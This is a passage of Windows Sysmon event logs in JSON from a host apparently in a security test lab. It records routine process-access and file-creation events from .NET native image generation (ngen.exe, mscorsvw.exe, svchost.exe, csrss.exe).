C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:46.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AA-5F2D-0000-0010997D0B00}","TargetProcessId":"3964","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:46","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7014,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:46.510\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AA-5F2D-0000-0010EF800B00}\r\nTargetProcessId: 2592\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:46.510","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AA-5F2D-0000-0010EF800B00}","TargetProcessId":"2592","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:46","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7015,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:46.510\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AA-5F2D-0000-0010EF800B00}\r\nTargetProcessId: 2592\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:46.510","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AA-5F2D-0000-0010EF800B00}","TargetProcessId":"2592","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:46","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7016,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:46.526\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AA-5F2D-0000-0010EF800B00}\r\nTargetProcessId: 2592\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:46.526","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AA-5F2D-0000-0010EF800B00}","TargetProcessId":"2592","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:46","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:47","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7017,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:47.525\r\nProcessGuid: {90617006-42AA-5F2D-0000-0010EF800B00}\r\nProcessId: 2592\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\a20-0\\Microsoft.Internal.Tasks.Dataflow.dll\r\nCreationUtcTime: 2020-08-07 12:01:47.525","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:47.525","ProcessGuid":"{90617006-42AA-5F2D-0000-0010EF800B00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\a20-0\\Microsoft.Internal.Tasks.Dataflow.dll","CreationUtcTime":"2020-08-07 12:01:47.525","EventReceivedTime":"2020-08-07 12:01:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:47","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7018,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:47.588\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-00108AE90A00}\r\nTargetProcessId: 748\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:47.588","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-00108AE90A00}","TargetProcessId":"748","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:47","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7019,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:47.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-00108AE90A00}\r\nTargetProcessId: 748\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:47.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-00108AE90A00}","TargetProcessId":"748","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:47","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7020,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:47.604\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AB-5F2D-0000-0010E4840B00}\r\nTargetProcessId: 748\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:47.604","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AB-5F2D-0000-0010E4840B00}","TargetProcessId":"748","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:47","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7021,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:47.635\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AB-5F2D-0000-001030880B00}\r\nTargetProcessId: 4328\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:47.635","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AB-5F2D-0000-001030880B00}","TargetProcessId":"4328","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\W